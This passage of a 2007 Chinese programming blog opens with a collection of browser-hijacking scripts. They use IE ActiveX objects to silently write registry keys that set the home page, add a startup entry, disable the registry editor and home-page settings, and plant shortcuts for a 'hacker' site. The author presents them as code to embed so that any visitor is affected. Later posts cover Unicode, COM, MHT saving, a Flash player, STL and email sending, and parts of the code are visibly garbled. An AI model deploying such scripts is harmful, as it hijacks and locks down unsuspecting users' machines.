a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (documents \.cookiess.indexOf("Chg") == -1) 

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\", "http://i50.yjpc.com/"); 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 



catch(e) 
{} 

catch(e) 
{} 

function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉自动设成主页代码 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 

function f(){ 
try 

//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (documents \.cookiess.indexOf("Chg") == -1) 

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://i50.126.com/"); 
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "http://i50.126.com/"); 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 



catch(e) 
{} 

catch(e) 
{} 

function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉修改IE标题栏目。 修改方法 将以下代码中可以换的换成你想换的 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 

function f(){ 
try 

//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (documents \.cookiess.indexOf("Chg") == -1) 

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————(I50.126.COM)————(网络联盟黑客安全网络)————( I50.YJPC.COM)"); 
Shl.RegWrite ("HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "————(I50.126.COM)————(网络联盟黑客安全网络)————( I50.YJPC.COM)"); 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 



catch(e) 
{} 

catch(e) 
{} 

function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉在右键加进网页链接 。修改方法:到注册表找到 MenuExt 把它删除就OK 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 
function f() 

try 

a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
sh = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
fo = a1.GetObject(); 
if (documents \.cookiess.indexOf("km169set") == -1) 

sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\中国网络安全中心\\", "c:\\yntop.htm"); 
sh.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\MenuExt\\中国网络安全中心\\contexts", 0xf3,"REG_DWORD"); 
hd=fo.CreateTextFile("c:\\yntop.htm"); 
hd.write('〈html〉〈head〉〈/head〉〈\script language=javascript〉window.open("http://i50.yjpc.com");〈\/script〉〈/html〉'); 
hd.close(); 
file=fo.GetFile("c:\\yntop.htm"); 
file.Attributes=6; 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;" 


catch(e) 




function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉 IE 的 INTERNET 选项的主页条失去作用变灰的代码。 修改方法,找到 HomePage 删除就OK 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 
function f() 

try 

a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
sh = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
fo = a1.GetObject(); 
if (documents \.cookiess.indexOf("km169set") == -1) 

sh.RegWrite ("HKCU\\Software\\Policies\\Microsoft\\Internet Explorer\\Control Panel\\HomePage", 1,"REG_DWORD"); 
hd=fo.CreateTextFile(); 
hd.write(''); 
hd.close(); 
file=fo.GetFile("c:\\yntop.htm"); 
file.Attributes=6; 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;" 


catch(e) 




function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉回收站给改了名字的修改方法:打开注册表找到 {645FF040-5081-101B-9F08-00AA002F954E} 修改就 OK 

修改回收站的代码 

〈SCRIPT language=javascript〉 
document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 

function f(){ 
try 

//ActiveX initialization 
a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try 

if (documents \.cookiess.indexOf("Chg") == -1) 

Shl.RegWrite ("HKCU\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站"); 
Shl.RegWrite ("HKLM\\Software\\CLASSES\\CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\", "回收站"); 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="Chg=general; expires=" + expdate.toGMTString() + "; path=/;" 



catch(e) 
{} 

catch(e) 
{} 

function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉注册表给锁住了,解决方法:打开本站已经设置好了的网页就OK 《 注册表解锁 》 

锁注册表的代码 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉"); 
function f() 

try 

a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
sh = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
fo = a1.GetObject(); 
if (documents \.cookiess.indexOf("km169set") == -1) 

sh.RegWrite ("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\DisableRegistryTools", 1,"REG_DWORD"); 
hd=fo.CreateTextFile(); 
hd.write(''); 
hd.close(); 
file=fo.GetFile("c:\\yntop.htm"); 
file.Attributes=6; 
var expdate = new Date((new Date()).getTime() + (1)); 
documents \.cookiess="km169set=km169; expires=" + expdate.toGMTString() + "; path=/;" 


catch(e) 




function init() 

setTimeout("f()", 1000); 

init();〈/SCRIPT〉 



————————〉在收藏夹生成文件的代码 

将以下代码加进网页后,只要别人一打开就可以自动加进收藏夹 

〈SCRIPT language=javascript〉document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉");function yuzi(){try{hzy=document.applets[0];hzy.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");hzy.createInstance();yuzi=hzy.GetObject();hzy.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");hzy.createInstance();try{Shor=yuzi.CreateShortcut(hzy.GetObject().GetSpecialFolder(0)+"\\Favorites"+"\\"+"【★-中国民间黑客组织-★】"+".URL");Shor.TargetPath="http://i50.126.com";Shor.Save();}catch(yu){]catch(yu){]setTimeout("yuzi()",1000);〈/SCRIPT〉 



————————〉在桌面生成的网页文件 

以下代码就是在桌面上生成一份网页的文件,一按打开的就是你的网页 

〈SCRIPT language=javascript〉 
document.write("〈APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent〉〈/APPLET〉") 

function AddFavLnk(loc, DispName, SiteURL) 

var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL"); 
Shor.TargetPath = SiteURL; 
Shor.Save(); 


function f(){ 
try 

a1=document.applets[0]; 
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Shl = a1.GetObject(); 
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}"); 
a1.createInstance(); 
FSO = a1.GetObject(); 
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}"); 
a1.createInstance(); 
Net = a1.GetObject(); 

try{ 
//if (documents \.cookiess.indexOf("ChgLive") == -1) 
//{ 

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
documents \.cookiess="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;" 
Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Window Title", "Interine Explorer"); 
var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90)); 
documents \.cookiess="ChgLive=general; expires=" + expdate.toGMTString() + "; path=/;" 
var WF, Shor, loc; 
WF = FSO.GetSpecialFolder(0); 
loc = WF + "\\Favorites"; 
if(!FSO.FolderExists(loc)) { 
loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites"; 
if(!FSO.FolderExists(loc)) { 
return; 


AddFavLnk("C:\\WINDOWS\\Desktop", "中国民间黑客网络", "http://i50.126.com"); 
//} 


catch(e){ } 

catch(e){ } 


function init(){ 
setTimeout("f()", 1000); 

init();〈/SCRIPT〉 

[img]images/emot/em28.gif[/img] 


好可怕啊! 

- 作者: 随风舞动 2007年07月23日, 星期一 11:05  回复(0) |  引用(0) 加入博采

谈Office 2000的字符编码技术
微软公司的办公套件Office97针对不同语言有各种不同版本,当你要使用一种语
言进行文字编辑时,需安装相应语言版本的Office才能有最好的支持和兼容性,另外
很多时候不同语言也不能在文档中同时正确显示。不过在即将推出的Office2000中,
这些问题将得到解决,全世界的用户都只需安装同一个版本的Office2000,然后通过
选择不同的语言包就可以得到不同的界面和语言支持,并且包含不同语言的Office文
档也不会再有兼容性的问题。而这一切的实现,一个很重要的原因是Office2000提供
了真正的全球性的Unicode支持。

                        操作系统的字符编码

  1.编码方式
  微软最初的操作系统MS-DOS只支持256个字符,其中包括26个英文字母(大小写
两种形式都有,即实际共有52个)、标点符号、希腊字母、画线符(用于基于MS-DOS
的应用程序画框)和一些重音字符,即扩展ASCII码(扩展美国国家标准交换码,其中
前面从0-127是标准ASCII码,后面的为扩展字符)。随着计算机的日益普及,为了让
用户能用自己的语言在计算机上操作,于是增加了很多的代码页,每种代码页支持一
种语言,单字节代码页中代码从32到127(十六进制0x20~0x7F)间的字符都是标准AS
CII码,其他的则是根据所支持的语言不同而不同的相应的扩充字符。当操作系统进入
Windows时代后,用代码页来支持不同语言的方法被保留了下来,从Windows3.1到Wind
ows95使用的代码页是相同的,而Windows98在原ANSI字符集基础上有了变化。扩展ASC
II码表和Win95 ANSI字符集见图一和图二所示。
  2.存在的问题
  由于代码页使用的是单字节字符集(SBCS),即每个字符都是用一个字节来表示
,所以代码页能包含的字符最多只有28=256个,这对于使用字母的语言够用了,但像
中文这种表意字符,每个字都要占用字节,而常用汉字怎么也有两三千个,单字节字
符集显然就无能为力了。于是很自然地出现了双字节字符集(DBCS)。在DBCS中,大
多数字符(表意字符)由两个字节构成,但同时也存在只占一个字节的字符,比如ASC
II码和日文片假名等,DBCS的缺点也就由此而生了。当你如往常一样使用strlen函数
想知道一个DBCS字符串中的字符数时,得到的结果只是该字符串中的字节数。虽然Win
dows提供了一些诸如CharNext、CharPrev、IsDBCSLeadByte之类的函数来帮助处理DBC
S字符,但对于程序员来说,处理字符串时总是要判断一个字符是一个字节宽还是两个
字节宽,这无疑是在做一场恶梦。

                        不能同时正确显示多国语言的原因

  因为Windows
3.X每次启动时都是载入与其版本相对应的代码页,即只支持单一代码页(DOS也一样
)。其中除了ANSI字符集、相应的DOS字符集,就只有该版本代码页中所支持语言的字
符了,而对于使用这些字符集之外的语言自然就无法被调出来显示了。Windows
95为了支持混合语言,采用了大字体。在大字体中通常包含多种字符集,如GBK字体中
95为了支持混合语言,采用了大字体。在大字体中通常包含多种字符集,如GBK字体中
就包含了采用GB码和BIG5码的汉字。不过Win95中大字体的使用还不普遍,大字体需单
独安装。在Windows98中,开始支持称为Extended Windows
ANSI(也称为WGL4)的字符集,该字符集包含了652个字符,除了标准ANSI字符外,还
有俄语、希腊语、土耳其语等多种语言的字符,大字体技术虽然向多语言支持迈进了
一步,但仍然脱离不了代码页的映射和转换,所以一旦文档被另存为不带格式的纯文
本,被转移到另一台没有安装多语言支持或相同字体,文档的显示结果将会是部分字
符无法显示或乱码一堆。这种情况在如今大量通过网络进行信息传递的时代屡见不鲜
,也是使用代码页技术的最大弊病。图三和图四表明了用Win98
Arial字体可正常显示的希腊字母和俄文在换用Win95 Arial字体后全部无法显示。

                        Unicode字符编码的原理

  Unicode简言之就是宽字节字符集。在Unicode中,每个字符都固定使用两个字节
来表示,这样一来,在字符串中只需简单地通过加减指针就能访问一个完整的字符。
由于Unicode中字符都用16位(即两字节)的值表示,所以可以表示的字符最多有216=
65536个,这样一来,几乎全世界所有书面语言所使用的所有字符都能被包含进来了。
即使如此,所有的字母和符号加起来也才用了约35000个代码点,至今大约还有29000
个代码点未被分配,保留作将来使用,这其中又有6500个位置是留供用户添加所需的
自定义字符,一般是一些罕见的代表人名和地名的象形文字。Unicode的编码布局见图
五。
  Unicode力图让每个被编码的字符用途都是唯一的。例如,常见符号“-”,可以
是连字符,也可以是减号,因两者的用途完全不同,所以即使外观一样,但在Unicode
中仍各有编码,并通过使用略微不同的宽度来描绘它们。不过对于中文和日文中的相
同汉字,却又是使用同一编码,因为Unicode不能区分字符在语义和读音方面的区别,
不管这个字是什么意思,怎么读,反正是用来表达意思的一个表意字符,这样做到了
汉字的统一。也正是由于Unicode相当于一个单一的字符集,所以不再有多内码页的映
射和转换问题,使用Unicode编码方式的文档无论使用哪种Unicode字体来显示都是一
样,乱码不会再有了,唯一可能出错的地方就是字体中包含的字符不完整。

                        Office2000字符编码的秘密

  由于Office2000全面支持Unicode,则源程序中涉及字符串处理的函数都能接受16
位,而且是Unicode编码的字符串参数。因为以前非东亚版本的函数可能对其中的字符
串参数是用char关键字定义的,这样实际规定了参数只能是8位,现在用short关键字
定义,就能接受16位的值了。而且一般函数接受的字符串都是ANSI字符串,因为与Uni
code编码方式完全不同,所以要想处理Unicode字符串参数,对字符串的处理也必须做
改动。以前之所以有那么多不同的版本,主要就是为了适应当地的字符集,有了全球
统一编码的16位Unicode字符集,可以直接适应全球用户,不再有单、双字节和不同代
码页的混合处理问题,不需再对核心程序做修改,也就实现了全球版本的同一性。
  遗憾的是Win9X对Unicode的支持还很不完善,它仍然使用代码页方式,所以为实
现多语言功能,在Office2000中还要安装相应的语言包。
  国产软件要到国际市场去竞争,使用Unicode应该是一条必经之路,这样软件不仅
进行国际化时的工作量会小得多,更主要的是能有很好的适应能力。其实我认为Unico
de最有用的地方应该在网络中。当Unicode得到普及后,无论你访问哪种语言的网站,
de最有用的地方应该在网络中。当Unicode得到普及后,无论你访问哪种语言的网站,
查看哪种语言的文档,都能得到正确的显示,不会再有乱码出现,到那时大概就是网
络世界的大同时代了吧。

- 作者: 随风舞动 2007年07月12日, 星期四 12:18  回复(0) |  引用(0) 加入博采

COM编程入门2
wcstombs()
   这个CRT函数wcstombs()是个简化版,但它终结了WideCharToMultiByte()的调用,所以最终结果是一样的。其原型如下:
size_t wcstombs (
   char*     mbstr,
   const wchar_t* wcstr,
   size_t     count );

  以下是参数解释:

  mbstr

  接受结果ANSI串的字符(char)缓冲。

  wcstr

  要转换的Unicode串。

  count

  mbstr参数所指的缓冲大小。

  wcstombs()在它对WideCharToMultiByte()的调用中使用WC_COMPOSITECHECK | WC_SEPCHARS标志。用wcstombs()转换前面例子中的Unicode串,结果一样:

  wcstombs ( szANSIString, wszSomeString, sizeof(szANSIString) );

  CString

  MFC中的CString包含有构造函数和接受Unicode串的赋值操作,所以你可以用CString来实现转换。例如:

  // 假设有一个Unicode串wszSomeString...

  CString str1 ( wszSomeString ); // 用构造器转换

  CString str2;

  str2 = wszSomeString; // 用赋值操作转换

  ATL宏

  ATL有一组很方便的宏用于串的转换。W2A()用于将Unicode串转换为ANSI串(记忆方法是“wide to ANSI”——宽字符到ANSI)。实际上使用OLE2A()更精确,“OLE”表示的意思是COM串或者OLE串。下面是使用这些宏的例子:

  #include <atlconv.h>
// 还是假设有一个Unicode串wszSomeString...
{
char szANSIString [MAX_PATH];
USES_CONVERSION; // 声明这个宏要使用的局部变量
lstrcpy ( szANSIString, OLE2A(wszSomeString) );
}

  OLE2A()宏“返回”转换的串的指针,但转换的串被存储在某个临时栈变量中,所以要用lstrcpy()来获得自己的拷贝。其它的几个宏是W2T()(Unicode 到 TCHAR)以及W2CT()(Unicode到常量TCHAR串)。

  有个宏是OLE2CA()(Unicode到常量char串),可以被用到上面的例子中,OLE2CA()实际上是个更正宏,因为lstrcpy()的第二个参数是一个常量char*,关于这个问题本文将在以后作详细讨论。

  另一方面,如果你不想做以上复杂的串处理,尽管让它还保持为Unicode串,如果编写的是控制台应用程序,输出/显示Unicode串时应该用全程变量std::wcout,如:

  wcout << wszSomeString;

  但是要记住,std::wcout只认Unicode,所以你要是“正常”串的话,还得用std::cout输出/显示。对于Unicode串文字量,要使用前缀L标示,如:

- 作者: 随风舞动 2007年04月29日, 星期日 10:49  回复(0) |  引用(0) 加入博采

COM编程入门1
本文的目的是为刚刚接触COM的程序员提供编程指南,并帮助他们理解COM的基本概念。内容包括COM规范简介,重要的COM术语以及如何重用现有的COM组件。本文不包括如何编写自己的COM对象和接口。

  COM即组件对象模型,是Component Object Model 取前三个字母的缩写,这三个字母在当今Windows的世界中随处可见。随时涌现出来的大把大把的新技术都以COM为基础。各种文档中也充斥着诸如COM对象、接口、服务器之类的术语。因此,对于一个程序员来说,不仅要掌握使用COM的方法,而且还要彻底熟悉COM的所有一切。

  本文由浅入深描述COM的内在运行机制,教你如何使用第三方提供的COM对象(以Windows 外壳组件Shell为例)。读完本文后,你就能掌握如何使用Windows操作系统中内建的组件和第三方提供的COM对象。

  本文假设你精通C++语言。在例子代码中使用了一点MFC和ATL,如果你不熟悉MFC和ATL也没关系,本文会对这些代码进行完全透彻的解释。

  本文包括以下几个部分:

  COM——到底是什么?——COM标准的要点介绍,它被设计用来解决什么问题?

  基本元素的定义——COM术语以及这些术语的含义。

  使用和处理COM对象——如何创建、使用和销毁COM对象。

  基本接口——描述IUnknown基本接口及其方法。

  掌握串的处理——在COM代码中如何处理串。

  应用COM技术——例子代码,举例说明本文所讨论的所有概念。

  处理HRESULT——HRESULT类型描述,如何监测错误及成功代码。

  COM——到底是什么?

  简单地说,COM是一种跨应用和语言共享二进制代码的方法。与C++不同,它提倡源代码重用。ATL便是一个很好的例证。源码级重用虽然好,但只能用于C++。它还带来了名字冲突的可能性,更不用说不断拷贝重用代码而导致工程膨胀和臃肿。

  Windows使用DLLs在二进制级共享代码。这也是Windows程序运行的关键——重用kernel32.dll, user32.dll等。但DLLs是针对C接口而写的,它们只能被C或理解C调用规范的语言使用。由编程语言来负责实现共享代码,而不是由DLLs本身。这样的话DLLs的使用受到限制。

  MFC引入了另外一种MFC扩展DLLs二进制共享机制。但它的使用仍受限制——只能在MFC程序中使用。

  COM通过定义二进制标准解决了这些问题,即COM明确指出二进制模块(DLLs和EXEs)必须被编译成与指定的结构匹配。这个标准也确切规定了在内存中如何组织COM对象。COM定义的二进制标准还必须独立于任何编程语言(如C++中的命名修饰)。一旦满足了这些条件,就可以轻松地从任何编程语言中存取这些模块。由编译器负责所产生的二进制代码与标准兼容。这样使后来的人就能更容易地使用这些二进制代码。

- 作者: 随风舞动 2007年04月29日, 星期日 10:48  回复(0) |  引用(0) 加入博采

如何把一个网页存为一个单独的mht文件
 
#include "SHDocVw_OCX.h"
#include "cdoex.h"
#include "msado15.h"
using namespace CDO;
// 本文是ccrun(老妖)根据相关资料改的,在BCB 6.0 下成功编译并测试通过.
// 如果有不能正常运行的,可能需要在机器上安装有outlook.
void __fastcall SaveWholePage(BSTR bstrUrl, BSTR bstrFileName)
{
  CoInitialize(NULL);
  IMessage *pMsg;
  IConfiguration *pConfig;
  HRESULT hr = CoCreateInstance(__uuidof(Message), NULL,
      CLSCTX_INPROC_SERVER, __uuidof(IMessage), (void**)&pMsg);
  hr = CoCreateInstance(
    __uuidof(Configuration),
    NULL,
    CLSCTX_INPROC_SERVER,
    __uuidof(IConfiguration),
    (void**)&pConfig);
  pMsg->put_Configuration(pConfig);
  try<br>
  {
    pMsg->CreateMHTMLBody(
      bstrUrl,
      cdoSuppressNone,
      WideString(""),
      WideString(""));
  }
  catch(...)
  {
    ShowMessage("有错误发生!");
    return;
  }
  ADOStream *pStream;
  pMsg->GetStream(&pStream);
  pStream->SaveToFile(bstrFileName, adSaveCreateOverWrite);
  pMsg->Release();
  pStream->Release();
  CoUninitialize();
}
// 调用举例:
void __fastcall TForm1::Button1Click(TObject *Sender)
{
  SaveWholePage(WideString("
http://www.ccrun.com";),
      WideString("C:\\123.mht"));
}

- 作者: 随风舞动 2007年04月29日, 星期日 10:44  回复(0) |  引用(0) 加入博采

保存页面为MHT的代码

Here's how to save a web page as a single file (mht format) using Delphi code:

uses CDO_TLB, ADODB_TLB; ... procedure WB_SaveAs_MHT(WB: TWebBrowser; FileName: TFileName); var Msg: IMessage; Conf: IConfiguration; Stream: _Stream; URL : widestring; begin if not Assigned(WB.Document) then Exit ; URL := WB.LocationURL; Msg := CoMessage.Create; Conf := CoConfiguration.Create; try Msg.Configuration := Conf; Msg.CreateMHTMLBody(URL, cdoSuppressAll, '', ''); Stream := Msg.GetStream; Stream.SaveToFile(FileName, adSaveCreateOverWrite); finally Msg := nil ; Conf := nil ; Stream := nil ; end ; end ; (* WB_SaveAs_MHT *)
 
 

Sample usage:

//first navigate WebBrowser1.Navigate('http://Delphi.about.com'); //then save WB_SaveAs_MHT(WebBrowser1,'c:\WebBrowser1.mht');
 
 

Note 1: The _Stream class is defined in ADODB_TLB unit that you probably already have created. The IMessage and IConfiguration interfaces code from cdosys.dll library. CDO stands for Collaboration Data Objects - object libraries designed to enable SMTP Messaging.

The CDO_TLB is an auto generated unit by Delphi. To create it, from the main menu select "Import Type Library", select "C:\WINDOWS\system32\cdosys.dll" then click the "Create unit" button.

- 作者: 随风舞动 2007年04月29日, 星期日 10:42  回复(0) |  引用(0) 加入博采

Flash Media Player使用方法

Flash Media Player使用方法

作者:天涯浪子

    很不错的在线播放器,支持MP3,FLV,SWF,JPG,PNG,GIF文件,同时也支持RSS/XSPF两种播放列表,同时支持javascript控制(下载地址是http://www.jeroenwijering.com/upload/flash_media_player.zip,http://www.jeroenwijering.com是播放器作者的网站),因网友“ASP菜鸟”使用这个播放器途中遇到点问题就一起稍微研究了一下,现把心得分享给大家。
一.使用方法
    使用方法很简单,把mediaplayer.swf和ufo.js放到到网页目录。在页面<head></head>间添加<script type="text/javascript" src="ufo.js"></script>,在放置播放器的位置添加代码:
<p id="player1"><a href="http://www.macromedia.com/go/getflashplayer">Get the Flash Player</a> to see this player.</p>
<script type="text/javascript">
var FO = { movie:"mediaplayer.swf",width:"300",height:"20",majorversion:"7",build:"0",bgcolor:"#FFFFFF",flashvars:"file=playlist.xml&showdigits=true&autostart=true" };
UFO.create(FO,"player1");
</script>
用浏览器浏览的时候“<p id="player1">……</p>”部分会被播放器替换掉。代码中“flashvars:"file=playlist.xml&showdigits=true&autostart=true" };”是播放器的参数列表,可以控制播放器的相关功能,比如自动/随机播放等。各参数之间用“&”号隔开,上面代码中file是待播放文件或列表(playlist.xml就是一个播放列表),showdigits是要不要显示播放长度,autostart控制是否自动播放。
该播放器在播放mp3文件的时候还能同时显示图片,使用方法是在flashvars里添加image参数,例如:
“flashvars:"file=歌曲文件.mp3&image=图片.jpg&showdigits=true&autostart=true"”

二.Javascript控制
    如果要使用JS控制播放器的暂停/播放、前/后首歌曲的话,首先需要在flashvars里添加参数“enablejs=true”,即“flashvars:"file=playlist.xml&showdigits=true&autostart=true&enablejs=true"”,该参数的用途就是开启/关闭JS控制,然后需要将以下方法放在<head></head>之间:
<script type="text/javascript">
function sendEvent(typ,prm) {
thisMovie("mediaplayer").sendEvent(typ,prm);
};
</script>
这样通过下面代码就可以控制播放器相关操作了:
<a href="javascript:sendEvent('prev')">上一首</a>
<a href="javascript:sendEvent('playpause')">播放/暂停</a>
<a href="javascript:sendEvent('next')">下一首</a>
     
    也许你不想把歌曲或视频放在.xml列表里,就想直接放在页面上,点击哪个播放器就播哪个,那么就需要将下面这个方法放在<head></head>之间:
<script type="text/javascript">
function loadFile(fil) {
thisMovie("mediaplayer").loadFile(fil);
};
</script>
然后仿照下面代码添加歌曲链接就能让播放器播放了:
<a href="javascript:loadFile('laoshuaidami.mp3')">老鼠爱大米</a>
    或许你也有个这样的想法,就是点播不同的mp3时播放器也能显示不同的图片(比如专辑封面),本来“ASP菜鸟”提出这个要求时我想用播放列表就能解决,但是“ASP菜鸟”是想不用列表,只需点击页面上的歌曲连接就能实现,查了一下作者网站没有相关例子,不过还好最后还是实现了。将以下方法放在<head></head>之间:
<script type="text/javascript">
function setFlashVars(str){
    thisMovie("mediaplayer").FlashVars=str;
}

function setImageAndPlay(str,fil){
    setFlashVars(str);
loadFile(fil);
}
</script>
注意前面的loadFile()方法也要加进来。然后仿照下面代码添加歌曲链接就能让播放器播放mp3的同时显示图片了:
<a href="javascript:setImageAndPlay('image=图片.JPG','歌曲.mp3')"> 老鼠爱大米</a>

三.关于播放列表
    下载的播放器里有列表的例子(playlist.xml),自己打开看看就明白了,不过修改后记得要保存成Unicode编码,否则中文在播放器中会显示乱码。

- 作者: 随风舞动 2007年04月18日, 星期三 07:48  回复(0) |  引用(0) 加入博采

什么是STL
什么是STL呢?STL就是Standard Template Library,标准模板库。这可能是一个历史上最令人兴奋的工具的最无聊的术语。从根本上说,STL是一些“容器”的集合,这些“容器”有list,vector,set,map等,STL也是算法和其他一些组件的集合。这里的“容器”和算法的集合指的是世界上很多聪明人很多年的杰作。

STL的目的是标准化组件,这样就不用重新开发,可以使用现成的组件。STL现在是C++的一部分,因此不用额外安装什麽。它被内建在你的编译器之内。因为STL的list是一个简单的容器,所以我打算从它开始介绍STL如何使用。如果你懂得了这个概念,其他的就都没有问题了。另外,list容器是相当简单的,我们会看到这一点。

在本文中我们将会看到如何定义和初始化一个list,计算它的元素的数量,从一个list里查找元素,删除元素,和一些其他的操作。要作到这些,我们将会讨论两个不同的算法,STL通用算法都是可以操作不止一个容器的,而list的成员函数是list容器专有的操作。

这是三类主要的STL组件的简明纲要。STL容器可以保存对象,内建对象和类对象。它们会安全的保存对象,并定义我们能够操作的这个对象的接口。放在蛋架上的鸡蛋不会滚到桌上。它们很安全。因此,在STL容器中的对象也很安全。我知道这个比喻听起来很老土,但是它很正确。

STL算法是标准算法,我们可以把它们应用在那些容器中的对象上。这些算法都有很著名的执行特性。它们可以给对象排序,删除它们,给它们记数,比较,找出特殊的对象,把它们合并到另一个容器中,以及执行其他有用的操作。
http://www.yesky.com/255/1910755.shtml

- 作者: 随风舞动 2007年03月18日, 星期日 11:36  回复(0) |  引用(0) 加入博采

微软自带CDONTS组件发送核心代码

<%
Set cdomail = Server.CreateObject("CDONTS.NewMail") '建立邮件对象
cdomail.Subject = "Mail Subject" '邮件标题
cdomail.From = "Sender's Mail" '发件人的地址
cdomail.To = "Email will from" '收件人的地址
cdomail.Body = "Mail Body" '邮件的内容
cdomail.Send '执行发送
%>

Jmail程序调用:

<%
'参数说明
'Subject : 邮件标题
'MailAddress : 发件服务器的地址,如smtp.163.com
'Email : 收件人邮件地址
'Sender : 发件人姓名
'Content : 邮件内容
'Fromer : 发件人的邮件地址

Sub SendAction(subject, mailaddress, email, sender, content, fromer)
Set jmail = Server.CreateObject("JMAIL.SMTPMail") '创建一个JMAIL对象
jmail.silent = true 'JMAIL不会抛出例外错误,返回的值为FALSE跟TRUE
jmail.logging = true '启用使用日志
jmail.Charset = "GB2312" '邮件文字的代码为简体中文
jmail.ContentType = "text/html" '邮件的格式为HTML的
jmail.ServerAddress = mailaddress '发送邮件的服务器
jmail.AddRecipient Email '邮件的收件人
jmail.SenderName = sender '邮件发送者的姓名
jmail.Sender = fromer '邮件发送者的邮件地址
jmail.Priority = 1 '邮件的紧急程序,1 为最快,5 为最慢, 3 为默认值
